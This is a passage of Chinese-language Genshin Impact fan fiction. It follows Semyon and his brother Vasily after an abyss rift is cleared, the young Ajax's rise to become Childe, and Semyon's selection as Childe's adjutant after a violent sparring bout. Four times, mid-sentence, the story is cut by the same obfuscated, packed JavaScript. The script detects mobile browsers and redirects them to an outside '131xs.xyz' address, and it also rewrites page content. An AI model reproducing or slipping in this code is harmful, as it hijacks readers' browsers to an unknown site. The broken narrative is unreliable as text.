“你是说,你们花了不到两个小时的时间清理了一处深渊裂隙。裂隙并没有无休止的外扩,也没有魔物出没,只是静静的横陈在雪林的土地上。”谢苗一个单词一个单词的往外蹦,试图通过缓慢诉说理清现状,“裂隙消失,你们在快要出雪林的地方找到了一个迷路的男孩,而他正在被巡林员训斥,即将送回家?” 瓦西里点头,面上露出笑容:“是的没错。” 谢苗不能理解:“那为什么危险评估专员会让【队长】的兵来,这不是……大材小用吗?” 第一席执行官的兵属于愚人众的精锐,一般活跃在一线,随时接受高危级的外派任务。 瓦西里换了个坐姿双腿交叠:“不,这处裂隙是突然安静下来的。就像……被驯服了一样。” 他斟酌半晌才说出[驯服]这个单词。 “驯服?”谢苗眼睛里是纯粹的茫然,深渊怎么会被驯服? 瓦西里好笑道:“只是个形容词,怎么这么纠结。专员上报给我们的消息是说:这处裂隙内部空间变化剧烈极其不稳定,浅层区有兽境群狼以及诸多受诅咒魔物的活动痕迹,还有未被观测到的奇异生物回响……专员评估登记是高危,我们到这里后没发现异常并不能算他的错。毕竟安稳总好过无端的牺牲与伤亡,不是吗?” 【队长】也是如此认为的,只要是利国利民的行为,哪怕他们风尘仆仆的从边境日夜兼程赶来只用两个小时就完成了任务,有些过于简单甚至有占用军队资源的嫌疑……依旧没有问题。 你怎么敢赌深渊的不确定性? “驯服是说:这处裂隙突然的稳定是不符合常理的,一定有谁提前处理过里面的暴动,只是我们没有发现。”瓦西里摇晃玻璃酒杯里的冰块,金褐色的液体如同灯光下的琥珀一般。 谢苗想起那位玛格丽特姨妈,想起那个失踪的孩子想起那个迷路的男孩…… 等等。 “那个在雪林迷路的男孩,是不是戴了一条红围巾?” “你怎么知道?” 谢苗把炸鱼排塞嘴里咬得咯吱咯吱响:“你还记得那个巡林员长什么样子,往哪边走了吗?” “金发碧眼,是个少见的外国女人……你要去找他们吗?不跟哥哥多聊一会儿。” 谢苗站起身来平静的注视这个许久不见的哥哥,没好气的轻轻踢他一脚:“揣着明白装糊涂,快点起来,别喝了。” 瓦西里好脾气的将酒一饮而尽,裹紧外套跟在弟弟身后离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679263|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒馆。 谢苗不是空穴来风。 他们曾是这个世界上最密切的,没有血缘关系的亲人。微表情心理学更是在互相学习中精进,都没有对彼此用上专业的情报搜集手段,仅仅只是日常聊天,瓦西里这家伙就已经给他透露出很多信息。 似笑非笑最可笑。 结合玛格丽特之前特意问连队次序的态度,谢苗敢肯定瓦西里和玛格丽特一定认识——甚至这家伙聊天就是在有意无意透露这一点!!! “别生气嘛,谢缪尔。” 他们穿过木桥,踩着雪水和冰碴混合的乡间土路。谢苗把脸埋进风衣立领中闷着脑袋朝前走,背影看上去像是一头气鼓鼓的白熊。 “没生气。” “真的吗?我不信。” “不许轻佻,再这样我就踩你脚,把泥巴全部蹭上去。”他威胁道。 瓦西里安静如鸡。 没过多久,大白熊又凑到小白熊身边亲昵的蹭蹭:“好谢缪尔,别郁闷啦……我很早以前就和她认识了,也是从她那里才知道你可能经历了什么。” 谢苗脚下一顿。 “所以那个时候你早出晚归不见人影,经营自己的情报网,对我消失的半年三缄其口,是因为你从别人口中知道了对吗。” “对。” “所以那个时候我会接到任务追杀叛逃多年突然出现的玛格丽特,所以她对我的态度很微妙,所以我明明没有杀死她但是依旧通过了任务考核……是因为你帮助她假死蒙蔽检查员的视听,又帮她换了身份隐居在海屑镇对吗?” “对。” “……” “我……” “对不起,瓦西里。”谢苗的声音轻轻的,“让你担心了这么多年。对不起。” 他不是不知好歹,他很清楚瓦西里正是因为考虑到了他的心情和处境才一直闭口不谈,只是默默的做好善后工作。就像当初在壁炉之家他不曾问瓦西里在忙活什么那样,骤然得知真相也只有一瞬间的恼怒,然后这点怒火很快如潮水带来的泡沫般化作哀伤。 他无法把自己的经历告诉瓦西里,但必须对潘塔罗涅如实相告。明明一个是家人一个是上司,应该是家人更重要,可他无法对家人做到完全的坦诚。 所以他说对不起。 对不起,让你为我担心这么多年。 对不起,有些事我无法告诉你,转头就告诉了显贵。这是另一种形式上的背叛。 对不起。 瓦西里只是无措:“怎么突然变成这样了……没事的没事的,谢缪尔,这从来不是你的错,我只是想保护你……尽我所能。” 他们继续朝前走。 “玛格丽特把那个孩子带走,可能也是猜到他身上有奇遇,想要保护他。”瓦西里说,“现在的局势还不明朗,过早的曝光他的能力对他来说风险太大。” 谢苗不信前半句:“玛格丽特这么好心?” “……她不讨厌孩子的,严格来说算不上坏人。” “……”谢苗看见前方的小木屋,袅袅炊烟弥漫,隐约传来父母的喊声,他把话题转移到那个男孩身上,“像是在挨打。” 瓦西里一乐:“走,看热闹去。” 33. 少年阿贾克斯和公子 瓦西里想凑热闹看小孩挨打的心愿并没有实现。 因为玛格丽特出现了。 她鬼魅似的出现在兄弟俩视野内,手搭上肩膀,不由分说的把二人推转过去:“来这做什么。” 谢苗:“好奇。” 玛格丽特:“收起你不合时宜的好奇心。回镇上去,明天就走。” 她似乎是在这所渔镇待了几年,自然而然的将自己当做这里的一份子,不欢迎一切会影响镇子安宁的家伙。 谢苗这人看着特别好说话,特别逆来顺受,实际上脾气不小,只是迫于自身实力微弱无法反抗,但今时不同往日,他牛脾气上来了:“不走又怎样?” 他来这是为了搞破坏的吗?他会对那个死里逃生有着奇遇的孩子不利吗?他什么都没干,就被这样不欢迎的驱逐——凭什么? 场面一时间僵持住,瓦西里左看右看,选择当调解人:“谢缪尔没有坏心,他只是想知道那个孩子的情况。” 毕竟是疑似从深渊归来的孩子,作为海屑镇的不安定不确定因素,谢苗最起码得确认那孩子不会携带什么危险物质。 想起谢苗来到海屑镇的原因,玛格丽特脸上勉强有了点好颜色:“我已经检查过,那小子身体结实得很,能跑能跳,比以前更活泼。深渊没有附着在他身上,你们不用操心。” 谢苗拉着瓦西里抬脚就往回走。 “真不看了?” “不看了,等会写个报告。会有专员负责调查的。” “……” “你不用想她身份暴露的问题。父亲大人在我离家时就把过去所有的任务档案全部销毁了。”阿蕾奇诺曾经隐晦的透露过,如果他愿意完全可以站在阳光下生活,毕竟条件得天独厚(潘塔罗涅有意把他往文职方向培养),“你的上司,【队长】大人心里也有数。等会我送你回去,说不说随你。” 后半句话瓦西里清楚,他自有打算,耸耸肩:“好吧,我们明天天一亮就要离开,去下一个深渊裂隙。这边应该会移交给【公鸡】大人负责。” 谢苗对【公鸡】没有好印象,从鼻腔喷出气来。 瓦西里看着都好笑:“这么大了越活越回去,反倒比以前更像个小孩。” 谢苗转移话题:“你这些年跟着长官东南西北的跑,有没有想过安定下来?” “还早呢,我才二十岁,还能跟着大人跑十几年。等我跑不动了,就把房子买在你家隔壁,到时候开一家诊所,给你和帕维尔养老。” “我觉得军医彪悍的风格和普通城市医疗格格不入。” “哪里彪悍了?” “心脏复苏就是把手伸进胸腔捏心脏,有肋骨挡着就把肋骨掰断,动脉止血靠打结,骨头错位用锤子砸*①……这些不叫彪悍叫什么?哪家正规医院会这样?” “用词严谨一些,我们战地军医不是徒手,手套还是会戴的,只是没条件补充耗材和消毒而已。战场上受伤能活着就行,不要在意这些细枝末节……等等,谁告诉你的,还是你以前出任务受伤了没说?” “帕维尔进苍星军了啊,他说受伤了看到军医走过来就能忘记疼痛自己站起来跑路。” “……帕维尔……”听声音颇有些咬牙切齿,“受伤了都不在信里告诉我……” 谢苗死鱼眼:“你也是军医,他对这个职业已经产生了恐惧心理。” 当哥哥没被这一点小小话术蒙蔽视听,瓦西里心疼得很:“苍星军直属女皇陛下,训练也最严苛。他肯定吃了很多苦头……” 谢苗在心里默默附和:那肯定吃苦,训练骨头错位,苍星军军医按不下去,硬是拿锤子给他砸下去了。帕维尔记住了那军医的名字,说看到他的背影心就发慌。 两人很是长吁短叹一番,心疼远在北境的兄弟,然后勾肩搭背哥俩好的大步朝前走,直奔雪林外的第一连队临时营地。 按理来说,海屑镇的深渊裂隙消除后谢苗就可以打道回府继续自己的风投债券交易。但是为了能跟瓦西里多待一晚上聊聊天,还是明天再走吧。 后者听完异常感动,晚上煮饭特意给他弄了三口锅并排煮。 瓦西里·雪奈茨维奇参军四年,在第一连队有独立帐篷和单独生火做饭权利,特殊情况需要两人挤挤。谢苗晚上宿在军营和瓦西里同帐篷,只需要副官的应允。 是的,执行官的副官往往拥有相当大的实权。可以直接替执行官做主决定一些不重要的事。 副官这一职位也是谢苗目前道路的晋升顶点。 “但是给潘塔罗涅老爷当副官就要各国跑,实地考察商人企划书上的内容。格洛德克先生就是满世界出差,一年到头也回来不了几次……”躺在温暖的睡袋里,谢苗小声嘀咕,“感觉会成为很奇怪的人。” 瓦西里在他旁边的睡袋里蠕动了一会,翻身过来压低声音询问:“那你想到哪个执行官手下去?【散兵】?【女士】?还是回到父亲大人身边?”【公鸡】【博士】那些更不考虑,根本就不适合也不能去。 “……”谢苗将这些执行官一个个排除,只觉得人生无望,把脑袋埋进睡袋里,“我还是在北国银行老实待着吧。”给潘塔罗涅当狗好过去其他执行官手下当随时可弃的棋子。 无论在哪个世界,选上司选工作都很难呀。 次日清早,第一连队便起营动身。谢苗游魂一般飘回镇上退房,吃了早餐才拿起手提箱搭乘列车。 列车呜呜的鸣笛,这个小镇上发生的事情被他远远抛在脑后。看着远方连绵的雪色山峦,困倦的打了个哈欠。 至冬的雪很美,只是看了太多年,难免有些习以为常无动于衷。 一直不变倒也不错。 谢苗回到至冬主城的北国银行总部,向潘塔罗涅老爷进行简易汇报,就被打发去做自己的事了。 主城区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679264|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老爷富人少爷小姐们消息灵通得很,【队长】他们前脚离开海屑镇,后脚海屑镇所在的城区股票就上涨,谢苗来得刚刚好,直接上岗负责对接。日子就在这样平平无奇的忙碌中一天天过去,距离下一次听见海屑镇传来的消息过去了大半年的时间。 “海屑镇有个少年,居然能把征兵营的那些人全部打趴下!” “真的假的?多大啊?” “十四岁吧,自从……之后,征兵的年纪就下放到十四岁了。” “听说【公鸡】大人直免了他的新兵训练……” 正在茶水间冲泡梨子酱膏的谢苗默不作声的听,银勺搅拌杯中琥珀色小甜水,稍微晾凉就一饮而尽。 北国银行员工的消息灵通,客户、亲眷、家属构成他们的信息网络,谢苗转文职后只需要往茶水间一坐,自然而然就能知晓千里外的消息。 两年时间他几乎听完那个海屑镇少年人的晋升之路:14岁踏入战场,15岁单骑屠灭整个巢穴的龙嗣,深入凶险秘境全身而退……直到他16岁,被提拔为第十一席【公子】达达利亚*②。 再也没人敢提起【公子】大人最初的名字:海屑镇的阿贾克斯。 谢苗只当是听了个故事。 但他着实没想到有朝一日自己会成为故事主人公的身边人。 是这样的,执行官末席的【公子】达达利亚是个十六岁的少年人,性格自信好斗,武艺高强。没人会小瞧他的实力,但执行官作为至冬高层,除了要打斗还得完成女皇的任务。其中包括但不限于和其他执行官任务对接,定期和底层士兵联络维系人设,和富商政要拉关系,下属的管理,产业的盈利,出国任务的一系列准备工作……当然不是非得要执行官大人们亲力亲为,这些繁琐事物丢给手下人就好了,不然要他们何用? 问题就在这里,【公子】的根基尚浅,两年时间不够他拉出一个完整的,属于自己的班子。因此女皇陛下考虑过为他指派一位精通愚人众大小事物,忠诚可靠的副官下属,协助末席更好的适应和完成任务。 “所以,是我?” 他站在潘塔罗涅办公室里,头一次感到荒谬:我的资历已经可以成为副官了吗?还以为要熬几年找机会攒一攒军功呢。 “你很年轻又有实力。女皇陛下让我们这些前辈同事帮忙看看有什么合适的人选,我可是第一个就想到你了呢。”富人老爷笑得眉眼弯弯,“别担心,每个执行官都会推荐一人,到时候都送到末席那去,让他自己挑。挑不中你就回来继续帮我控股。” 潘塔罗涅和他讲话向来直白,少打哑迷,也有从小就跟随他的情分在,有些事直接吩咐下去不怕留把柄被有心人大做文章。 谢苗默然,大老爷能给他透露这样多情报已经足够,去一去也无妨。 于是这个二十岁的青年抬手扶正没有度数的黑框眼镜,平静而严肃的回复:“好的,老爷。” 34. 炉火与金钱的阴影 谢苗抵达【公子】所在的女皇御赐公馆时,才发现【公鸡】也在这。 他垂下眼睛,心想这是伯乐相马相出千里马不舍得撒手,死死的绑在身上——壁炉之家一系的孩子对【公鸡】从无好印象,他向来不惮于以最大的恶意去揣测这位市长大人。 无非又是拉帮结派。 年轻的末席也才十六岁,身个已经比得上身为成年男性的谢苗了。橘色短发无光蓝眸,别着凶将面具,哐啷往那一坐,大马金刀,脸色却很轻松:“好像都到了啊,我现在要做什么?给他们面试吗?” 【公鸡】普契涅拉拄着他的拐杖端端正正坐在椅子上:“可以这么说,选一个合你眼缘的就好。他们的实力已经得到过各自长官的认可。” 有意思。 谢苗在心里狂翻白眼,面上是说选公子喜欢的就行,实际上暗戳戳的给公子上眼药——这些送来的人都有各自效忠的长官,不可信。 接下来大概就是安插普契涅拉自己的人,或者放弃这个安插眼线的机会,让年轻的公子一如既往的信赖自己。 其他执行官派来的人各个都是人精,年纪普遍比谢苗大,清楚自己就是来走个过场好叫女皇满意。 但公子应该没懂,一脸天真:“可是【公鸡】你之前说副官就是执行官的左膀右臂,只合眼缘可不行。我得看看他们符不符合我的标准。” 公鸡笑了笑,似乎是年长者对年幼者的纵容:“那便去吧。” 他们被转移到公馆的一楼大厅,看见公子单手叉腰:“嘿,各位,你们当中有会武的吗?” 八个人选只有三人举手,两人迟疑,三人不动如山。 “别担心别担心,我就是想问问,顺便考验一下你们的武艺本领。毕竟我是军功起身,做我的副官以后也避免不了随我各处征战。不会武艺可不行。” 谢苗当然是那个举手的一员,犹豫的二人中有一位坚定的举起手。 “很好,有一半都会呢!”年轻的末席笑起来,开朗又灿烂,“那就上实战咯!” 嗯? 谢苗和另外三人同时抬头,这就实战?怎么实战?互相打? “能在我手里过五招的就算合格,为了公平起见,你们可以一起上,武器不限哦。”众人眼中的迷惑过于显眼,不会看人脸色的末席都看得懂,特意解释了一番,真是可喜可贺。 这是何等自信轻狂,不过倒也有轻狂的资本。执行官的晋升严苛而残酷,至少谢苗确定自己十六岁无法当上执行官。 今天他出门没带燧发枪,身上只有一颗神之眼加后腰贴着的短刀。心里权衡利弊,还是决定不用短刀。 毕竟这刀抹了几十个人的脖子,对公子用不太吉利——我们家谢缪尔是个有爱的下属,一般不会想让上头的长官死。 【女士】派来的人是个女性中尉,装配邪眼,令行禁止,在公子摆出姿势后毫不犹豫的发起进攻。 【散兵】派来的人是个憨厚的壮汉,光看军种就知道是冰铳,从众心理强,也是犹豫后举手的那位,见中尉上了他也跟着挥舞拳头。 【仆人】派来的人是个雪奈茨芙娜,谢苗不认识她,应该是是前几届的姐姐,或者是在枫丹那边长大又回归至冬的。刺客的身份让她下意识选择利用同伴的进攻遮掩自己的潜伏。 壮汉被扫堂腿带走,看着自己肚子上噼里啪啦的雷元素焦痕颇有几分怀念,至于怀念的是不是他家上司【散兵】的脚踩我们不得而知。 中尉撑过了三招,在公子第四下的拳风破空轰鸣中倒地。手法很像他屠戮龙嗣那样举起砸死。你问谢苗为什么知道?以前接待新兵营教官取摩拉的时候听他讲过。 为了考验下属居然用上了这等手法吗,哈吉达你这家伙…… 雪奈茨芙娜女士倒是坚持过了五招,谢苗和她有着勿用言说的默契,互相配合着淘汰其他竞争对手发起总攻。 公子一面防备他们的进攻,一面说笑:“怎么不用武器呢?放心用吧,我可没有那么脆弱。” 谁用谁是笨蛋。 长官说的这些话你要是全部当真,那世界上没有比你更笨的家伙了。他可以当真,你不行。 雪奈茨芙娜女士很显然也这样认为,赤手空拳的搏斗,甚至可以利用公子进攻的肢体在空中进行两周旋转,借用自身重力惯性将其甩出去。 这是壁炉之家常见的绞杀手段,稍微用些力气轻而易举就能摔断目标的脊骨。谢苗往往更残忍,直接腿夹脖子扭断。 三人越打越兴奋,雪奈茨芙娜女士用上了邪眼,狂风似乎要撕裂风涡中心的一切。 不是姐们儿,就一个心知肚明会被淘汰的竞争你也要拼命吗? 谢苗被风刃割得脸痛,抽空扭头看了她一眼,雪奈茨芙娜女士的面容被青色面具遮掩,她握着镶嵌在银托怀表中的邪眼,站得笔直而骄傲。 她是壁炉之家的雪奈茨芙娜,行走在外代表了【仆人】阿蕾奇诺的脸面,任何形式的竞争都要用尽全力不留余地,方能不负父亲大人的栽培与嘱托。 她的态度像一记重锤打破了谢苗六年的虚假伪装:再怎么想要遗忘过去的一切,都会在未来的某个瞬间被抓住脚腕拖回泥沼深海。 [站在你面前的是你的敌人,用你所学在对战中取得胜利] “嗯?你在想什么?”公子握住了谢苗进攻的拳头,手臂上青筋暴起,面上却还是游刃有余的微笑,“分心可是战斗的大忌啊。” [死伤不论,壁炉之家只属于胜者] 六年学习的利弊权衡在自幼接受的魔鬼教导下显得如此无足轻重,一触即溃。 他的左手被敌人抓住,右手还可以催动神之眼释放元素力。寒霜侵蚀侵蚀心脏和手臂,极寒灼伤接触者的皮肤——公子可以忍受这种的低温伤害,兴致愈发高昂。 纯冰凝炼打造的一米多燧发枪出现在谢苗的右手中,自动拉栓,抬手对准二人交握的手扣下扳机。 武人的直觉在此刻发挥了极大作用,公子当机立断松手后撤,元素子弹打穿地面,留下一层散发白烟的冰。 “好浓烈纯粹的冰元素,让我想起了老家背后的雪山。”公子达达利亚一点都不生气,露出武人对于战斗纯粹的喜悦,“就是这样!用出你真正的实力!来战!!!” [壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679265|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炉之家只属于胜者] 女人的低语犹在耳畔,他第一次用这把冰制的燧发枪射击,驱逐心中哭嚎的森森鬼影。 有时候他看见面前的人是正在面试的执行官【公子】,有时候他看到对面是面色惨白的重病男孩,有时候是双眼含笑的库嘉维娜,有时候又是龙息雪山的丘丘霜铠王。 低温让他头脑发热,他看不清了。 这不对。 这完全不对,不该是这样的。 [壁炉之家只属于胜者] [不要心软,谢缪尔] 握着枪的右手被水刃刺穿,死死钉在墙壁上。 “有趣有趣,竟然不觉得痛吗?再来!!!” [壁炉之家只属于胜者] ……我要…活下来……我要……赢得胜利…… 脑海中只有这个念头最为清晰。 他的心脏从这一瞬间开始极其缓慢的跳动,无形的手为心塑上一层冰。那是桎梏也是保护:从死亡的彼岸归来者又成为了雪山行走人间的使者。 随他心念呼唤,存放于北国银行员工储物柜手提箱里的银白燧发枪自行拆分,从内部打开箱子和储物柜,顺着通风口一路飞出银行,穿过车水马龙的中央大街,来到主人身边。分化、重组、拼合,成为银光凛冽的杀人武器,黝黑的枪口对准敌人。 谢苗的右手手臂被刺穿,但他一点表情变化都没有,寒冷让他对疼痛的感知相当迟钝。他看着围绕在身边的武器,抬起那双蓝紫色的眼睛。 水波粼粼的蓝紫色与无光的深蓝色相应,一个死寂不起波澜,一个燃烧着灼热的战斗欲望。热武器和冷兵器的争斗在此刻正式打响。 公子并没有要废掉谢苗一只手的意图,他对人体的了解在一次次的打斗中愈发深刻,特意避开了对方重要的手部经络,好好养着愈合没问题。至冬的科技和医学很发达的。 谢苗垂着那只滴血的手臂,躲避来自执行官【公子】猛烈的进攻。发热的头脑叫冷风一吹也清醒了些,余光瞥见被冰铳扶着的雪奈茨芙娜女士,显然对方已经从这场破格的比试中出局。 是怎么变成这样的来着? 谢苗眼底全是茫然。不过他习惯了不让人看自己的眼睛,目前没人发现他前中后期状态的不对劲。 公子还在乐呵:“这可真是意外之喜,我没想到执行官之下还有这样的好身手!” 谢谢夸奖哈。 他揉揉被公子一拳砸进墙壁后震痛的肩背,大概断了两根骨头。脱手使用燧发枪的好处就是他可以最大程度的掩护本体,不然就不是断肋骨的事了。 “这是在做什么?乌烟瘴气的,成何体统!”【公鸡】姗姗来迟,拐杖直杵地面,“达达利亚,你是选拔副官,不是挑死侍。” 传出去像什么样子! “打上头就没管那么多啦!”达达利亚高兴的蹦起来,“我要他,就这个会用铳枪的!” 谢苗两眼一黑,已经预料到了水深火热的未来。 他也就没有注意到,达达利亚藏在身后的一只手掌被子弹洞穿,冰元素侵蚀伤口与血肉让其无法愈合,生理性的颤抖着。 35. 活人气息很足的上司 谢苗能留下来着实和他最初的预设不同。 【公子】就用一场混乱的比试决定了谁留下来当他的副官,本来想浑水摸鱼的谢苗因为进入那种诡异的状态彻底上头,雪奈茨芙娜女士事后点评:像是两头熊一样互相厮杀。 这下好了,用力过猛直接跳槽了。 其他参赛成员走了个形式就打道回府去向各自的长官复命,【公鸡】对他不咸不淡的说了几句好好干这是长官对你的赏识巴拉巴拉的…… 谢苗站在原地风中凌乱,抱着他的几支燧发枪一脸茫然。 身边还有一位十六岁的新晋上司,脸蛋水灵灵,上蹿下跳分外活泼:“你叫什么名字啊?你这武器是哪来的啊?刚开始我都没发现你带了枪,只有一把别在后腰的短刀。而且它居然可以飞!这就是空中火力压制对吗?太帅啦兄弟!我可以摸摸吗?拿来打几枪也行!” 谢苗:“……我的名字是谢苗·雪奈茨维奇。过去在北国银行担任风投债券咨询师一职。” 谢苗:“这种武器是炼金术产物,能够应召主人的呼唤赶来。如果【公子】大人之前接触过铳枪,应该也可以理解操控这种燧发枪。” 他收起了冰制燧发枪,甩甩手上残留的冰碴。元素子弹填充银白枪支,调试好后分给了达达利亚一把。 “非战斗时刻请勿对准人。”公子大人什么时候换的一副手套…… 达达利亚稍微研究了一会就能上熟练操作,砰砰砰十二颗子弹全部打完。公馆里的墙壁和装饰物全部遭了殃,偏偏罪魁祸首毫无自知之明,对着燧发枪摸了又摸,这才还给它的主人:“我的准头还能更精确一些,只要多练习……走吧谢苗,我带你去办升职手续!” “好的,大人。” 潘塔罗涅看见这一大一小站在自己办公室里的新晋组合,微笑面具都有些挂不住。 “所以,我的爱将谢缪尔就这样被末席你撬走了?” “富人,话不能这么说。他可是你推来当我的副官的。”公子大人的眼睛圆润而深邃,却莫名有一股未消的稚气,符合他的真实年纪,“来之前我就跟公鸡打听过了,他在你这里做了好几年的文职也没有升职加薪,去我那正好呀。” 潘塔罗涅抬手推了一下眼镜框架:“是这样吗,谢缪尔?” 谢苗要怎么回答。 “嘿——不许威胁他!是威胁对吧?我听的懂!女皇大人都说过了让你们这些前辈推举人选,怎么选上了你还不乐意。不管,我不管,你要放人!” 他就差撒泼打滚了。 绕是富人也无奈,毕竟这位年轻的同僚年纪太小,最近又深得女皇宠爱,还是个不精通俗物,最擅长争斗的武斗派。 “谢缪尔和你有缘,做你的副官当然很好。只是我原本打算等他再学习两年再放他出国去做地方专项计划的负责人……”潘塔罗涅老爷故作哀怨,“我可是辛辛苦苦培养了他六年呢。” 谢苗无法反驳,平心而论他跟随潘塔罗涅老爷的这六年真的活得很滋润。衣食住行样样都被管家安排妥帖到位,学到了不少东西,甚至有机会不付出任何代价就接触到至冬核心机密——对于任何一个效忠至冬女皇的人来说,这样的潘塔罗涅老爷就是那位伯乐。 栽培有,教导有,呵护有。但你要说潘塔罗涅一点想把他推到公子身边的意思都没,那真是睁眼说瞎话。 【公鸡】和【富人】是至冬标准的官商勾结模板组合,虽然二人会因为利益纠纷搞冷战,但是大多数时候合作得都相当顺利。新晋升的末席【公子】是被普契涅拉看中的千里马,潘塔罗涅不会放过这个好机会巩固己方阵营的利益。作为“龟缩在至冬的富商政要*①”,他们当然会用尽手段去拉拢有价值的武斗派成员当“打手”。 正是因为心知肚明这一点,普契涅拉明知道他出身壁炉之家也默许他来参加,甚至对公子大人选择毫无异议。 如今潘塔罗涅的这些话,不过是商人包装商品的常用手段罢了。 年轻的公子大人似乎并没有想象中那么好骗,他皱着眉头叉着腰:“我知道你是培养了他很久,但那也是为女皇陛下和至冬培养人才不是吗?跟着我做事又不会浪费他的才能。好了好了,我就是来跟你说一声,更细致的手续什么的应该会有专人办理,那我先带他走咯。回见,九席。” 然后他拽着谢苗的手腕就往外走,潘塔罗涅就这样看着办公室的门开了又关,一瞬间从闹哄哄的菜市场变为孤寂的无人处。 “……” 潘塔罗涅老爷面上浅浅的笑容不变。 没过几分钟,胡桃木门又被推开一条缝,露出熟悉的铂金色脑袋,这个没良心的小子说:“老爷,再见。” 这次的门是真的关上了。 潘塔罗涅后躺,陷进柔软的椅垫里,眼底全是了然的笑意。 北国银行员工的办事效率很高,次日谢苗·雪奈茨维奇就正式从【富人】转到【公子】名下,职位上调了几个档次,成为了副官。 这和他前几年畅想过的升职加薪对应上了。 如果说一开始还有点小伤感,但是看清自己的休假排班表和工资绩效奖金划分说明后,这个壁炉之家培养出来的少年特工,北国银行教导出来青年风投师终于后知后觉发现自己原来是可以有休假有奖金的。 六年来一直全年无休拿着职位死工资的谢苗:“……” 好吧,虽然他没有什么可以花钱的地方:三餐什么的北国银行全包,富人老爷的管家经常给他购置衣物,更是后来才搬出豪宅租房……这么安慰自己倒也能接受啦。 迅速调理好心态,他撸起袖子准备大干一场。 先前就说过,公子是刚当上执行官,距离他参军到现在也只有两年时间,两年内四处征战,根本凑不齐属于自己的班底。所以,刚确立副官职位的谢苗第一天到岗,就发现一团乱麻一地鸡毛。 “【公子】大人,公事和私事的财务支出需要做两类账本,另外,如果是您要做一些比较私密的事,不想被任何人知道的话,建议再做一本秘账。公账做得没有问题可以走北国银行报销。您这边几个月的账有些问题……后续我会请专人做账的。以前的旧账还请您好好回忆,我马上着手重做。” “我就是请客吃了两顿饭,买了一些武器,然后赔付我造成的损失。金额大概就这些……” “【公子】大人,考虑到您自身的特性和意愿,您分配到的任务都是外出清剿魔物和深渊勘探,我看过武器的报损,库存的武器可以拿去以旧换新重新淬炼。不用您亲自采买,这一家武器铺和愚人众官方没有合作,我们无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679266|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法拿到稳定折扣。” “还可以以旧换新啊?这样又可以省一大笔摩拉了。折扣什么的都好说……你来决定就好了。” “【公子】大人,您的行程安排需要提前一到三个月做好规划。包括但不限于军队慰问、清剿魔物、征战深渊、回家探亲、参加宴会……女皇陛下有时候会召见您和其他执行官大人去至冬宫,因此提前预留出时间应对突发情况很有必要。” “好的……表格上这些没有规划的空闲时间都是留给我自己的吗?那我要去冰钓!明天就去!” “【公子】大人,新兵营分配来的新兵在城外等候您的审阅,这会是独属于您的部队。如果可以的话,还请今明两天去见一见新兵。冰钓活动我给您安排在后天上午,您可以钓到下午三点。因为那天【公鸡】大人组局邀请您赴宴,请帖已经送了过来。” “好吧……我这边都没问题。这么一看感觉事情也不是很多……我们现在就去新兵营吧!” 谢苗看了一眼手里的记账,合上做到一半的账本:“好的,我去通知车夫。请您换上大衣,带好围巾和手套。” 【公子】这边的人员显然是【公鸡】挑过来的,做事很是妥帖。车夫能在短短几分钟内准备就绪,载着包裹严实的公子大人一路飞驰去往城外。 不得不说,执行官老爷的代步工具怎么都比新兵营的运送车坐的舒服,去新兵营的路上偶有小小颠簸,已经算是安逸了。 公子大人看上去是个闲不住的话痨,没想到居然意外的能安下心来,路上随口和谢苗扯些家常,大概就是问他以前明明是做特工的,怎么又当了风险投资精算师。 嗯,问你入职前的工作变动经历。 “……当时我的长官是【富人】潘塔罗涅老爷,长官的需求就是我的目标任务。” “哦——那看来你还是多元人才,普契涅拉也说过副官需要文武精通……真不错伙计,我是说,你就叫谢苗对吗?之前我听九席叫过你另一个名字,叫什——谢……” “谢缪尔。”谢苗回答,“我的小名是谢缪尔。” 潘塔罗涅老爷比他年纪大,这么叫其实也没问题。 “谢缪尔,听着怪有趣的,以后我也这样喊你好了。”公子一拍大腿,“你有地方住吗?我知道北国银行有员工宿舍,离职后应该不能继续住在那里吧?” 